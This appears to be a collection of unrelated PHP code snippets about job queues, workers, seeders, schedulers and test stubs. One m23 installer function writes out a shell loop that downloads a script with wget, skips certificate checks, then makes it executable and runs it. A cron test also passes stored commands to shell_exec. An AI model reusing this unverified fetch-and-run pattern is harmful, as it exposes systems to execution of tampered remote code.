\n\t\tcall_user_func_array($callback,$args);\n\t\t\n\t\t// set the end time for this job\n\t\t$record->end_time = time();\n\t\t$record->status = 'Completed';\n\t\t$record->progress = '100';\n\t\tdrupal_write_record('tripal_jobs',$record,'job_id');\n\t\t\n\t\t// send an email to the user advising that the job has finished\n }\n}", "public function run()\n {\n Job::create(['url'=> 'https://proxify.io']);\n\n Job::create(['url'=> 'https://reddit.com']);\n\n Job::factory(1000)->create();\n }", "function PKG_addJob($client,$packageName,$priority,$params)\n{\n\tPKG_addStatusJob($client,$packageName,$priority,$params,\"waiting\");\n}", "public abstract function sendJobs();", "public function testJobGet()\n {\n\n }", "public function executeJob()\n {\n // Fetch a job\n echo \"_\";\n $job = $this->queue\n ->watch('testtube')\n ->ignore('default')\n ->reserve();\n // Ensure we got a job.\n if ($job !== false) {\n // Extract job data.\n $jobData = json_decode($job->getData());\n \n switch ($jobData->Name) {\n case 'Wait':\n $result = $this->wait($jobData->Time);\n break;\n \n default:\n // Job definition unknown.\n break;\n }\n \n if (isset($result) && $result === true) {\n // Job succeeded. Remove it.\n $this->queue->delete($job);\n } else {\n // Job Failed. Bury it. \n $this->queue->bury($job);\n }\n }\n }", "public function testJobListPreparationAndReleaseTaskStatus()\n {\n\n }", "public function getJobs();", "public function getJobs();", "public function testJobListFromJobSchedule()\n {\n\n }", "function registerTest1($job, $worker) {}", "public function run()\n {\n Job::factory()->count(100)->create();\n \n }", "public function testJobAdd()\n {\n\n }", "public function testJobList()\n {\n\n }", "public function getNextQueuedJob() {\n \t}", "protected function generateJob()\n\t{\n\t\t$name = $this->inflector->getJob();\n\n\t\t$this->call('make:job', compact('name'));\n\t}", "function getTask() ;", "function CIR_waitForNextJob()\n{\n\t$lang = getClientLanguage();\n\n\t$quiet = ($_SESSION['debug'] ? \"\": \"-qq\");\n\n\tinclude(\"/m23/inc/i18n/\".I18N_m23instLanguage($lang).\"/m23inst.php\");\n\n\n\techo(\"\n#mv work.php `date +%s`.old\n\nSEC=0\nTIME=0\nloopRun=`true`\n\nwhile \\$loopRun\n\tdo\n\t\");\n\n\tif (RMV_get(\"debug\")!=1)\n\techo(\"dialog --backtitle \\\"$I18N_client_installation\\\" --title \\\"$I18N_client_status\\\" --infobox \\\"\\n$I18N_waiting_for_jobs\\\" 6 70\");\n\n\techo(\"\n\t\t#Add the client ID if it is available\n\t\tid=`cat /m23clientID 2> /dev/null`\n\t\tif test \\$id\n\t\tthen\n\t\t\tidvar=\\\"?m23clientID=\\$id\\\"\n\t\tfi\n\n\t\twget $quiet -Owork.php \\\"https://\".getServerIP().\"/work.php\\$idvar\\\" --no-check-certificate\n\t\t\n\t\tif test `find work.php -printf \\\"%s\\\"` -gt 0\n\t\tthen\n\t\t\tchmod +x work.php\n\t\t\tloopRun=`false`\n\t\t\tbreak\n\t\tfi\n\t\tsleep 20\n\t\tTIME=`expr \\$SEC / 60`\n\t\tSEC=`expr \\$SEC + 20`\n\tdone\n\t./work.php\n\t\\n\");\n}", "public function run()\n {\n Job::create([\n \"name\" => \"Wirausaha\"\n ]);\n\n Job::create([\n \"name\" => \"Wiraswasta\"\n ]);\n\n Job::create([\n \"name\" => \"Freelance\"\n ]);\n\n Job::create([\n \"name\" => \"Pelajar\"\n ]);\n }", "public function testJobUpdate()\n {\n\n }", "public function startjobAction(){\n\t\ttry{\n\t\t\t$sm = $this->getServiceLocator();\n\t\t\t$identity = $sm->get('AuthService')->getIdentity();\n\t\t\t\n\t\t\t$config = $sm->get('Config');\n\t\t\t\n\t\t\t$request = $this->getRequest();\n\t\t\tif($request->isPost()){\n\t\t\t\n\t\t\t\t$posts = $request->getPost()->toArray();\n\t\t\t\t$paymentMade = 0;\n\t\t\t\t\n\t\t\t\tif(!empty($posts['invoice_number'])){ // If no invoice is attached then start the job\n\t\t\t\t\t$xero = new \\Invoice\\Model\\Xero($sm);\n\t\t\t\t\t$invoice = $xero->getInvoiceById($posts['invoice_number']);\n\t\t\t\t\t\n\t\t\t\t\t$paymentMade = ($invoice->Invoices->Invoice->AmountPaid * 100) / $invoice->Invoices->Invoice->Total;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(empty($posts['invoice_number']) || $paymentMade < 40){ // If payment made more than 40% then start else wait for approval\t\t\t\t\t\n\t\t\t\t\techo 2;\n\t\t\t\t}else{\n\t\t\t\t\t$data = array('status' => 1);\n\t\t\t\t\t\n\t\t\t\t\t$jobPacketTable = $sm->get('Order\\Model\\JobPacketTable');\n\t\t\t\t\techo $response = $jobPacketTable->startJob($posts['start_job_id'], $data);\n\t\t\t\t}\n\t\t\t}\n\t\t\texit;\n\t\t}catch(Exception $e){\n\t\t\t\\De\\Log::logApplicationInfo ( \"Caught Exception: \" . $e->getMessage () . ' -- File: ' . __FILE__ . ' Line: ' . __LINE__ );\n\t\t}\n\t}", "public function jobs(){\n\n \\Disco\\manage\\Manager::jobs();\n\n }", "public function work(): void;", "public function add() {\n $this->out('CakePHP Queue Example task.');\n $this->hr();\n $this->out('This is a very simple example of a QueueTask.');\n $this->out('I will now add an example Job into the Queue.');\n $this->out('This job will only produce some console output on the worker that it runs on.');\n $this->out(' ');\n $this->out('To run a Worker use:');\n $this->out('\tbin/cake queue runworker');\n $this->out(' ');\n $this->out('You can find the sourcecode of this task in: ');\n $this->out(__FILE__);\n $this->out(' ');\n\n //$options = getopt('',['id:']);\n /*\n * Adding a task of type 'example' with no additionally passed data\n */\n //if ($this->QueuedJobs->createJob('RemittanceApi', ['id'=>4033, 'batch_id'=>'58e44de0f33a7'])) {\n if ($this->QueuedJobs->createJob('RemittanceApi', null)) {\n $this->out('OK, job created, now run the worker');\n } else {\n $this->err('Could not create Job');\n }\n }", "public function getJobId();", "public function getJobsInfo(){ return $this->APICallSub( '/jobs', '', \"Couldn't lookup the job list\" ); }", "public function addNewJobOpo()\n {\n }", "public function work()\n {\n }", "public function testJobEnable()\n {\n\n }", "function work()\n {\n }", "public function testJobTerminate()\n {\n\n }", "function system ($mod = null) {\n \n // $mod controls how much info to show\n $mod = (in_array ($mod,array ('simple'))) ? $mod : null;\n $this->set(compact('mod'));\n \n // Get num processes which actually have PIDs (are really running)\n $this->Job->recursive = 0;\n $numProcs = array (\n 'running' => $this->Job->_bgpCountRunningJobProcesses(),\n 'maxThreads' => $this->Job->maxThreads,\n 'queue' => 0\n );\n \n // Get currently running jobs\n $this->Job->recursive = 1;\n $running = $this->Job->_bgpGetRunningJobs(array (\n 'fields' => array (\n 'Job.id',\n 'Job.user_id',\n 'User.id',\n 'User.name',\n 'User.photo',\n 'User.institution',\n 'User.url'\n ),\n 'limit' => $numProcs['maxThreads']\n ));\n $numProcs['statusRunning'] = count ($running);\n $queue = $this->Job->find('all',array (\n 'fields' => array (\n 'Job.id',\n 'Job.user_id',\n 'User.id',\n 'User.name',\n 'User.photo',\n 'User.institution',\n 'User.url'\n ),\n 'conditions' => array (\n 'Job.status' => '0'\n ),\n 'limit' => 3\n ));\n //$numProcs['queue'] = count ($queue);\n $numProcs['queue'] = $this->Job->find('count',array (\n 'conditions' => array (\n 'Job.status' => '0'\n )\n ));\n \n // Occasionally, batched jobs will just stop randomly for some reason.\n // The following works around said feature.\n if ($numProcs['queue'] > 0 && $numProcs['running'] < $this->Job->maxThreads) {\n $this->Job->tryProcessNext();\n }\n \n $jobbage = array (&$running, &$queue);\n foreach ($jobbage as &$jobs) {\n if (is_array ($jobs))\n foreach ($jobs as &$job) {\n $job['Job']['percent_complete'] = $this->Job->getJobPercentComplete($job['Job']['id']);\n }\n }\n \n $memFree = $this->Job->getFreeMemAll();\n \n // Handle header update info timestamps n stuff\n $data = compact ('running', 'numProcs', 'queue', 'memFree');\n $sd = serialize($data);\n if ($this->Session->read ('Job.status.lastStatusData') !== $sd) {\n // data have changed\n $this->Session->write ('Job.status.lastStatusData',$sd);\n $this->Session->write ('Job.status.lastStatusTime',time());\n }\n $this->set ($data);\n header ('ax-new-epoch: ' . time());\n header ('ax-latest-epoch: ' . $this->Session->read ('Job.status.lastStatusTime'));\n }", "function submitJob($options) {\n $this->printDebugMessage('submitJob', 'Begin', 1);\n $params = array();\n foreach($options as $key => $val) {\n switch($key) {\n case 'stype':\n\t$params[$key] = $val;\n\tbreak;\n case 'sequence':\n\t$params[$key] = $val;\n\tbreak;\n case 'program':\n\t$params[$key] = $val;\n\tbreak;\n case 'database':\n\t$params[$key] = $val;\n\tbreak;\n case 'scores':\n\t$params[$key] = $val;\n\tbreak;\n case 'alignments':\n\t$params[$key] = $val;\n\tbreak;\n }\n }\n $jobId = $this->run(\n\t\t\t$options['email'],\n\t\t\t$options['title'],\n\t\t\t$params\n\t\t\t);\n echo \"<p>Job Id: <a href=\\\"?jobId=$jobId\\\">$jobId</a></p>\";\n echo \"<p>Please wait...</p>\";\n $this->printDebugMessage('submitJob', 'End', 1);\n return $this->genMetaRefresh($jobId);\n }", "function Main()\n{\n\tglobal $server;\n\t$company = ECash::getFactory()->getModel('Company');\n\t$company->loadBy(array('name_short' => strtolower(ECash::getConfig()->COMPANY_NAME_SHORT))); \n\n\t$server->company_id = $company->company_id;\n\t$company_id = $company->company_id;\n\t$db = ECash::getMasterDb();\n\t$start_date = getLastProcessTime($db, 'populate_email_queue', 'completed');\n\n\t// If this is null, the process has never run so we'll need to make up a \n\t// new start date.\n\tif (NULL === $start_date)\n\t{\n\t\t// We're going to subtract 6 hours below, so by setting this to 18 hours ago,\n\t\t// we'll ultimately start at 24 hours ago.\n\t\t$start_date = date('YmdHis', strtotime('-18 hourss', time()));\n\t}\n\telse if (EXECUTION_MODE !== 'LIVE') // local and rc time will be off, so...\n\t{\n\t\t$start_date = substr($start_date, 0, 8) . '000000';\n\t}\n\n\t$start_date = date('YmdHis', strtotime('-6 hours', strtotime($start_date)));\n\n\t$pid = Set_Process_Status($db, $company_id, 'populate_email_queue', 'started');\n\tECash::getLog()->Write(\"populate email queue [start:{$start_date}]\");\n\t$email_documents = eCash_Document_DeliveryAPI_Condor::Prpc()->Get_Incoming_Documents($start_date, NULL, NULL, TRUE, 'EMAIL');\n\n\tif(! is_array($email_documents))\n\t{\n\t\tSet_Process_Status($db, $company_id, 'populate_email_queue', 'failed', NULL, $pid);\n\t\treturn;\n\t}\t\t\n\n\tif(! empty($email_documents))\n\t{\n\t\tECash::getLog()->Write(\"Importing New Email Documents:\");\n\t\tECash::getLog()->Write(print_r($email_documents, true));\n\n\t\t$request = new stdClass();\n\t \t$eq = new Incoming_Email_Queue($server, $request);\n\n\t\tforeach ($email_documents as $email)\n\t\t{\n\t\t\t$eq->Add_To_Email_Queue($company_id, $email->archive_id, FALSE, $email->recipient, $email->sender);\n\t\t}\n\t}\n\n\tSet_Process_Status($db, $company_id, 'populate_email_queue', 'completed', NULL, $pid);\n\n}", "function tripal_jobs_rerun ($job_id){\n global $user;\n\n $sql = \"select * from {tripal_jobs} where job_id = %d\";\n $job = db_fetch_object(db_query($sql,$job_id));\n\n $args = explode(\"::\",$job->arguments);\n tripal_add_job ($job->job_name,$job->modulename,$job->callback,$args,$user->uid,\n $job->priority);\n\n drupal_goto(\"admin/tripal/tripal_jobs\");\n}", "public function execute() {\n\t\tContext::get()->setSourceType( 'job-runner' );\n\t\t// Get some defaults from configuration\n\t\t$basePath = 'maintenance/job-runner/';\n\n\t\t$consumer = new JobQueueConsumer(\n\t\t\t$this->getOption( 'queue' ),\n\t\t\t$this->getOptionOrConfig( 'time-limit', $basePath . 'time-limit' ),\n\t\t\t$this->getOptionOrConfig( 'max-messages', $basePath . 'message-limit' )\n\t\t);\n\n\t\t$startTime = time();\n\t\t$messageCount = $consumer->dequeueMessages();\n\n\t\t$successCount = $consumer->getSuccessCount();\n\t\t$elapsedTime = time() - $startTime;\n\t\tLogger::info(\n\t\t\t\"Processed $messageCount ($successCount successful) jobs in $elapsedTime seconds.\"\n\t\t);\n\t}", "public function run()\n {\n $this->_fnameFlagStop = dirname(__FILE__) . '/' . $this->getIndividualFilenameAsFlag();\n $this->checkIfShouldStopWork();\n\n $worker = Mage::getModel('myproject_gearman/worker'); // just a wrapper around PHP Gearman class\n\n $worker->addFunction($this->getJobName(), function (GearmanJob $job) {\n $this->_curJobObject = $job;\n $data = unserialize($job->workload());\n $this->processDataWrapper($data, $job);\n });\n\n $worker->addFunction($this->getIndividualFilenameAsFlag(), function (GearmanJob $job) {\n $this->log('Got job to exit. Job name: ' . $this->getIndividualFilenameAsFlag());\n $job->sendComplete('ok'); // without this line queue not cleans and task stay in this queue\n exit;\n });\n\n $worker->work();\n }", "public function execute() {\n $sql = \"SELECT gcj_id_job\n FROM gems__comm_jobs\n WHERE gcj_active = 1\n ORDER BY gcj_id_order, \n CASE WHEN gcj_id_survey IS NULL THEN 1 ELSE 0 END,\n CASE WHEN gcj_round_description IS NULL THEN 1 ELSE 0 END,\n CASE WHEN gcj_id_track IS NULL THEN 1 ELSE 0 END,\n CASE WHEN gcj_id_organization IS NULL THEN 1 ELSE 0 END\";\n\n $jobs = $this->db->fetchAll($sql);\n\n if ($jobs) {\n $batch = $this->getBatch();\n foreach ($jobs as $job) {\n $batch->addTask('Mail\\\\ExecuteMailJobTask', $job['gcj_id_job']);\n }\n } else {\n $this->getBatch()->addMessage($this->_('Nothing to do, please create a mail job first.'));\n }\n }", "public function testJobPatch()\n {\n\n }", "public function loadJob($name);", "public function produceSyncJob()\n {\n for ($i = 0; $i < 5; $i++) {\n $result = $this->client->doHigh($this->server->getSyncQueue(), $this->generateWorkload(3));\n echo \"*** Result is: \" . $result . PHP_EOL;\n }\n }", "public function withQueue()\n {\n // You can pass anything you need into the job so there is no worrying about losing\n // access to needed resources when the job is actually running, passing time in as an example\n // but you can pass models in or anything you want really.\n LongTask::dispatch(5);\n Session::flash('success', 'Successfully queued long running task');\n return redirect()->route('queueExample');\n }", "public function work() {\n $this->model = ModelManager::getInstance()->getModel(QueueModel::NAME);\n\n do {\n $data = $this->model->popJobFromQueue($this->name);\n if ($data) {\n echo $this->name . ': Invoking job #' . $data->id . ' ... ';\n $dateReschedule = $this->invokeJob($data);\n\n if ($dateReschedule == -1) {\n echo \"error\\n\";\n } else {\n echo \"done\\n\";\n\n if (is_numeric($dateReschedule) && $dateReschedule > time()) {\n echo $this->name . ': Rescheduling job #' . $data->id . ' from ' . date('Y-m-d H:i:s', $dateReschedule) . \"\\n\";\n $queueModel->pushJobToQueue($data->job, $dateReschedule);\n }\n }\n } elseif (!$this->sleepTime) {\n echo $this->name . \": Nothing to be done and no sleep time. Exiting ...\\n\";\n break;\n }\n\n if ($this->sleepTime) {\n echo $this->name . ': Sleeping ' . $this->sleepTime . \" second(s)...\\n\";\n sleep($this->sleepTime);\n }\n } while (true);\n }", "public function pingJob(): void\n {\n $this->storage->pingJob($this->storedJob);\n }", "public function doAction() : void {\n $this->doJob();\n }", "public function getWorker();", "public function getWorker();", "public function run() {\n $job_list = $this->find_all_jobs();\n $jobby = new \\Jobby\\Jobby();\n\n $this->register_tasks( $jobby, $job_list );\n return $jobby->run();\n }", "public function fooAction()\r\n {\r\n // are working when you browse to /job/job/foo\r\n return array();\r\n }", "public function getQueueJob(array $data);", "public function perform();", "public function work( $args, $assoc_args ) {\n\t\t$worker = Queue::get_instance()->worker( $assoc_args['attempts'] );\n\n\t\twhile ( true ) {\n\t\t\tif ( $worker->process() ) {\n\t\t\t\tWP_CLI::success( 'Job processed.' );\n\t\t\t} else {\n\t\t\t\tsleep( 5 );\n\t\t\t}\n\t\t}\n\t}", "public function run()\n {\n DB::table('job')->insert([\n \t[\n\t 'title' => 'job 1',\n\t 'minimumWorkExperience' => 5,\n\t 'state' => 'state',\n\t 'countryID' => 1,\n\t 'responsibilities' => 'eating',\n\t 'workLocation' => 'Subang',\n\t 'jobLevelID' => 1,\n\t 'status' => 1,\n\t\t 'created_at' => new DateTime,\n\t\t 'updated_at' => new DateTime\n \t],\n \t\n ]);\n }", "public function run()\n {\n DB::table('jobs')->insert([\n 'worker_id'=>1,\n 'client_id'=>2,\n 'status_id'=>3,\n 'name'=>'order1',\n 'description'=>\"description tutututututu\",\n 'price'=>1000000,\n ]);\n DB::table('jobs')->insert([\n 'worker_id'=>2,\n 'client_id'=>3,\n 'status_id'=>3,\n 'name'=>'order2',\n 'description'=>\"description tutututututu\",\n 'price'=>1000000,\n ]);\n }", "public function testJobGetAllJobsLifetimeStatistics()\n {\n\n }", "public function process(Job $job): void\n {\n }", "public function produceAsyncJob()\n {\n for ($i = 0; $i < 5; $i++) {\n echo $this->client->doBackground($this->server->getAsyncQueue(), $this->generateWorkload(3));\n }\n }", "function tripal_jobs_check_running () {\n // iterate through each job that has not ended\n // and see if it is still running. If it is not\n // running but does not have an end_time then\n // set the end time and set the status to 'Error'\n $sql = \"SELECT * FROM {tripal_jobs} TJ \".\n \"WHERE TJ.end_time IS NULL and NOT TJ.start_time IS NULL \";\n $jobs = db_query($sql);\n while($job = db_fetch_object($jobs)){\n if($job->pid and posix_kill($job->pid, 0)) {\n // the job is still running so let it go\n\t\t // we return 1 to indicate that a job is running\n\t\t print \"Job is still running (pid $job->pid)\\n\";\n\t\t return 1;\n } else {\n\t // the job is not running so terminate it\n\t $record = new stdClass();\n $record->job_id = $job->job_id;\n\t $record->end_time = time();\n $record->status = 'Error';\n\t $record->error_msg = 'Job has terminated unexpectedly.';\n drupal_write_record('tripal_jobs',$record,'job_id');\n\t }\n }\n // return 1 to indicate that no jobs are currently running.\n return 0;\n}", "public function hasJob(): bool;", "public function getJob()\n {\n return $this->get(self::_JOB);\n }", "public function getJob()\n {\n return $this->get(self::_JOB);\n }", "public function getJob(): string\n {\n return $this->job;\n }", "function async_work() {\n\t\t$posix_pid = posix_getpid();\n\t\t$this->predis->sadd('workers', $posix_pid);\n\t\t//set_error_handler('error_as_exception');\n\t\twhile(true) {\n\t\t\tlist($liste, $sdata) = $this->predis->brpop(\"posix_pid:$posix_pid\", 'queue', 300);\n\t\t\tif($sdata != NULL) {\n\t\t\t\t$data = unserialize($sdata);\n\t\t\t\tif(sizeof($data) > 2) {\n\t\t\t\t\t$_PID = $data[2];\n\t\t\t\t\t$_CONTEXT = new Context($_PID);\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\t//var_dump($sdata);\n\t\t\t\t\t$result = call_user_func_array($data[0], $data[1]);\n\t\t\t\t\t$msg = array('r', $result);\n\t\t\t\t} catch( Exception $e) {\n\t\t\t\t\t$msg = array('e', $e);\n\t\t\t\t}\n\t\t\t\tif(sizeof($data) > 2) {\n\t\t\t\t\t$this->predis->lpush(\"pid:$data[2]\", serialize($msg));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\trestore_error_handler();\n\t}", "abstract function run();", "public function execDueTasks(Membership_Model_Job $job){\r\n\t\t\r\n\t\tset_time_limit(0);\r\n\t\t\r\n\t\t$db = Tinebase_Core::getDb();\r\n\t\t$tm = Tinebase_TransactionManager::getInstance();\r\n\r\n\t\t$tId = $tm->startTransaction($db);\r\n\t\t\r\n\t\t\ttry{\r\n\t\t\t$data = $job->getData();\r\n\t\t\t$action = $data['action'];\r\n\t\t\t$validDate = $data['validDate'];\r\n\t\t\t\r\n\t\t\t$objValidDate = new Zend_Date($validDate);\r\n\t\t\t\t\t\r\n\t\t\t$pagination = new Tinebase_Model_Pagination();\r\n\t\t\t$filters = array();\r\n\t\t\t$filters[] = array(\r\n\t\t\t\t'field' => 'action_state',\r\n\t \t\t'operator' => 'equals',\r\n\t \t\t'value' => 'OPEN'\r\n\t\t );\r\n\t\t $filters[] = array(\r\n\t \t\t'field' => 'action_id',\r\n\t \t\t'operator' => 'equals',\r\n\t \t\t'value' => $action\r\n\t\t );\r\n\t\t $filters[] = array(\r\n\t \t\t'field' => 'valid_datetime',\r\n\t \t\t'operator' => 'beforeOrAt',\r\n\t \t\t'value' => $objValidDate->toString('yyyy-MM-dd').' 00:00:00'\r\n\t\t );\r\n\t\t //$filters[] = array('field' => 'member_id', 'operator'=> 'AND', 'value' => array(array('field'=>'id','operator'=>'equals','value'=>'000059e66c5ac6bc63bba5b1f01befc12e88d89c')));\r\n\t\t \r\n\t\t \r\n\t\t \r\n\t\t // test for member: 000059e66c5ac6bc63bba5b1f01befc12e88d89c\r\n\t\t \r\n\t\t \r\n\t\t\t$filter = new Membership_Model_ActionHistoryFilter($filters, 'AND');\r\n\t\t\t\r\n\t\t\t// set ommit tracks on action history controller, as the following actions may not be tracked\r\n\t\t\t// automatically\r\n\t\t\t$actionHistoryIds = Membership_Controller_ActionHistory::getInstance()->setOmmitTracks()\r\n\t\t\t\t->search(\r\n\t\t\t\t\t$filter,\r\n\t\t\t\t\t$pagination,\r\n\t\t\t\t\tnull,\r\n\t\t\t\t\ttrue\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\tMembership_Api_JobManager::getInstance()->setTaskCount(count($actionHistoryIds));\r\n\t\t\t\r\n\t\t\tforeach($actionHistoryIds as $actionHistoryId){\r\n\t\t\t\t\r\n\t\t\t\t$this->performDataChange($actionHistoryId, $action, $job);\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$tm->commitTransaction($tId);\r\n\r\n\t\t\t\r\n\r\n\t\t}catch(Exception $e){\r\n\t\t\t$tm->rollback($tId);\r\n\t\t\tMembership_Api_JobManager::getInstance()->finishError($e->__toString());\r\n\t\t\tMembership_Controller_ActionHistory::getInstance()->unsetOmmitTracks();\r\n\t\t\texit;\r\n\t\t}\r\n\t\t// do not forget to unset ommit tracks!!\r\n\t\tMembership_Controller_ActionHistory::getInstance()->unsetOmmitTracks();\r\n\r\n\t\tMembership_Api_JobManager::getInstance()->finish();\r\n\t\t\r\n\t}", "protected function execJobNalWim() {\n\n $job_type = $this->_nalConf['job_type'];\n if( $job_type === neccsNal_Config::JOB_SCHEDULER ){\n $this->callJobScheduler();\n }else{\n $this->callJobCenterNalWim();\n }\n }", "static function jobs() {\n\t\tif(self::doCron()):\n\t\t\n\t\twhile(!Db::lock());\n\n\t\tReminder::cron();\n\t\t\n\t\t$ctrl = new Cronjob();\n\t\t$ctrl->checkBookings();\n\t\t$ctrl->cancelPending();\n\t\t$ctrl->unattended();\n\t\t\n\t\twhile(!Db::unlock());\n\t\t\n\t\tPreferences::set('lastCron', date(\"H:i:s\"));\n\t\t_debug(\"CRON JOBS DONE!\");\n\t\tendif;\n\t}", "public function startjobrequestAction(){\n\t\ttry{\n\t\t\t$sm = $this->getServiceLocator();\n\t\t\t$identity = $sm->get('AuthService')->getIdentity();\n\t\t\t\n\t\t\t$config = $sm->get('Config');\n\t\t\t\n\t\t\t$request = $this->getRequest();\n\t\t\tif($request->isPost()){\n\t\t\t\t$posts = $request->getPost()->toArray();\n\t\t\t\t\n\t\t\t\t$jobPacketTable = $sm->get('Order\\Model\\JobPacketTable');\n\t\t\t\t$approval_code = time().rand(99999, 99999999);\n\n\t\t\t\tif($response = $jobPacketTable->startJob($posts['start_job_id'], array('approval_code' => $approval_code, 'status' => 3))){\n\t\t\t\t\n\t\t\t\t\t$orderTable = $sm->get('Order\\Model\\OrderTable');\n\t\t\t\t\n\t\t\t\t\t$jobDetails = (array)$orderTable->fetchJobDetails($posts['start_job_id']);\n\t\t\t\t\t\n\t\t\t\t\t$jobDetails['approval_code'] = $approval_code;\n\t\t\t\t\t$jobDetails['display_job_id'] = \\De\\Service\\CommonService::generateStockCode($jobDetails['job_id'], 'order');\n\n\t\t\t\t\t$alertTable = $sm->get('Alert\\Model\\AlertTable');\n\t\t\t\t\t$viewUrl = sprintf('/jobdetails/%s', $jobDetails['job_id']);\n\t\t\t\t\t$approvalUrl = sprintf('/approvejob/%s/%s', $jobDetails['job_id'], $jobDetails['approval_code']);\n\n\t\t\t\t\t$reason = $posts['start_comment'];\n\t\t\t\t\tif ($reason != '') {\n\t\t\t\t\t\t$reason = ' (' . $reason . ')';\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$message = sprintf(\n\t\t\t\t\t\t\t'Job <a href=\"%s\">%s</a> needs approval%s. <a href=\"%s\">Click to approve</a>.',\n\t\t\t\t\t\t\t$viewUrl,\n\t\t\t\t\t\t\t$jobDetails['display_job_id'],\n\t\t\t\t\t\t\t$reason,\n\t\t\t\t\t\t\t$approvalUrl\n\t\t\t\t\t\t\t);\n\t\t\t\t\t/* TODO: don't hardcode role ID */\n\t\t\t\t\t$alertTable->createRoleAlert($identity['user_id'], 1, $message);\n\t\t\t\t\t\n\t\t\t\t\techo 3;\n\t\t\t\t}\n\t\t\t}\n\t\t\texit;\n\t\t}catch(Exception $e){\n\t\t\t\\De\\Log::logApplicationInfo ( \"Caught Exception: \" . $e->getMessage () . ' -- File: ' . __FILE__ . ' Line: ' . __LINE__ );\n\t\t}\n\t}", "abstract public function run() ;", "private function createSearchJob() {\n $response = $this->client->request('POST','search/jobs', [\n 'json' => [\n 'query' => $this->getSumoQuery(),\n 'from' => $this->start->format(DateTime::ATOM),\n 'to' => $this->end->format(DateTime::ATOM),\n 'timeZone' => $this->profile->getTimezone()\n ]\n ]);\n $code = $response->getStatusCode();\n if ($code !== 202) {\n throw new \\Exception('Error getting data from Sumologic, error was HTTP ' . $code . ' - ' . $response->getBody() . '.');\n }\n $data = json_decode($response->getBody());\n $this->jobId = $data->id;\n if ($this->output->isVerbose()) {\n $this->output->writeln(\" > Debug: Search job ID {$this->jobId} created.\");\n }\n }", "public function actionTest()\n {\n\n //TODO :: DON'T ALLOW TO RUN IN MAINTENANCE MODE\n echo 'Now: '.date('Y-m-d H:i:s');\n $cron = \\Cron\\CronExpression::factory('*/2 * * * *');\n v($cron->isDue());\n echo $cron->getNextRunDate()->format('Y-m-d H:i:s');\n echo '<br>';\n echo $cron->getPreviousRunDate()->format('Y-m-d H:i:s');\n\n die;\n\n //TODO :: ONLY RUN IN CLI MODE\n $sapi_type = php_sapi_name();\n if (substr($sapi_type, 0, 3) != 'cli') {\n //die(\"CronJob is CLI only.\");\n }\n\n //find all active jobs\n $jobModels = CronJob::findActiveJobs();\n\n //Stop processing if no job found!\n if(count($jobModels) == 0){\n return 'No scheduled commands are ready to run.';\n }\n\n //enqueue the jobs -- (marks jobs is in queue to prevent being executed by another process until it's completed)\n foreach($jobModels as $job)\n {\n $job->markInQueue();\n }\n\n //execute jobs\n foreach($jobModels as $job)\n {\n $job->markRunning();\n\n v($job->getNextRunDate());\n\n if($job->type == CronJob::TYPE_INLINE){\n //eval($job->command);\n }\n if($job->type == CronJob::TYPE_TERMINAL){\n $cmd = PHP_BINARY . ' ' . $job->command;\n if(function_exists('shell_exec')){\n shell_exec($cmd);\n }\n }\n if($job->type == CronJob::TYPE_FUNCTION){\n $cliScriptName = 'yii';\n $cmd = PHP_BINARY . ' ' . $cliScriptName . ' ' . $job->command;\n if(function_exists('shell_exec')){\n shell_exec($cmd);\n }\n }\n\n $job->markActive();\n }\n }", "function rlip_schedule_add_job($data) {\n global $DB, $USER;\n\n //calculate the next run time, for use in both records\n $nextruntime = (int)(time() + rlip_schedule_period_minutes($data['period']) * 60);\n\n $userid = isset($data['userid']) ? $data['userid'] : $USER->id;\n $data['timemodified'] = time();\n if (isset($data['submitbutton'])) { // formslib!\n unset($data['submitbutton']);\n }\n $ipjob = new stdClass;\n $ipjob->userid = $userid;\n $ipjob->plugin = $data['plugin'];\n $ipjob->config = serialize($data);\n\n //store as a redundant copy in order to prevent elis task strangeness\n $ipjob->nextruntime = $nextruntime;\n\n if (!empty($data['id'])) {\n $ipjob->id = $data['id'];\n $DB->update_record(RLIP_SCHEDULE_TABLE, $ipjob);\n // Must delete any existing task records for the old schedule\n $taskname = 'ipjob_'. $ipjob->id;\n $DB->delete_records('elis_scheduled_tasks', array('taskname' => $taskname));\n } else {\n $ipjob->id = $DB->insert_record(RLIP_SCHEDULE_TABLE, $ipjob);\n }\n\n $task = new stdClass;\n $task->plugin = 'block_rlip';\n $task->taskname = 'ipjob_'. $ipjob->id;\n $task->callfile = '/blocks/rlip/lib.php';\n $task->callfunction = serialize('run_ipjob'); // TBD\n $task->lastruntime = 0;\n $task->blocking = 0;\n $task->minute = 0;\n $task->hour = 0;\n $task->day = '*';\n $task->month = '*';\n $task->dayofweek = '*';\n $task->timezone = 0;\n $task->enddate = null;\n $task->runsremaining = null;\n $task->nextruntime = $nextruntime;\n return $DB->insert_record('elis_scheduled_tasks', $task);\n}", "public function startNextJob()\n {\n $jobModel = Mage::getModel('mailup/job');\n /* @var $jobModel MailUp_MailUpSync_Model_Job */\n foreach($jobModel->fetchQueuedJobsCollection() as $job) {\n /* @var $job MailUp_MailUpSync_Model_Job */\n \n /**\n * Try and Start it... if it fails, we can try the next one!\n */\n }\n }", "public function testCreateTask()\n {\n }", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "function action_runjobs() {\n global $CFG;\n\n //need the code that defines the scheduled export behaviour\n require_once($CFG->dirroot . '/blocks/php_report/runschedule.php');\n\n $scheduleids = array();\n if ($data = data_submitted()) {\n foreach ($data as $key => $value) {\n if (strpos($key, 'schedule_') === 0) {\n $scheduleid = (int)substr($key, strlen('schedule_'));\n if ($this->can_do_schedule_action($scheduleid)) {\n $scheduleids[] = $scheduleid;\n }\n }\n }\n }\n\n //re-display the list of scheduled jobs for this report\n $this->action_listinstancejobs();\n\n if (count($scheduleids) > 0) {\n //include the necessary javascript libraries for the ASYNC request stuff\n require_js(array('yui_yahoo', 'yui_event'));\n\n //one or more schedules selected, so open the popup to run them\n echo '<script type=\"text/javascript\">\n YAHOO.util.Event.onDOMReady(function() {\n 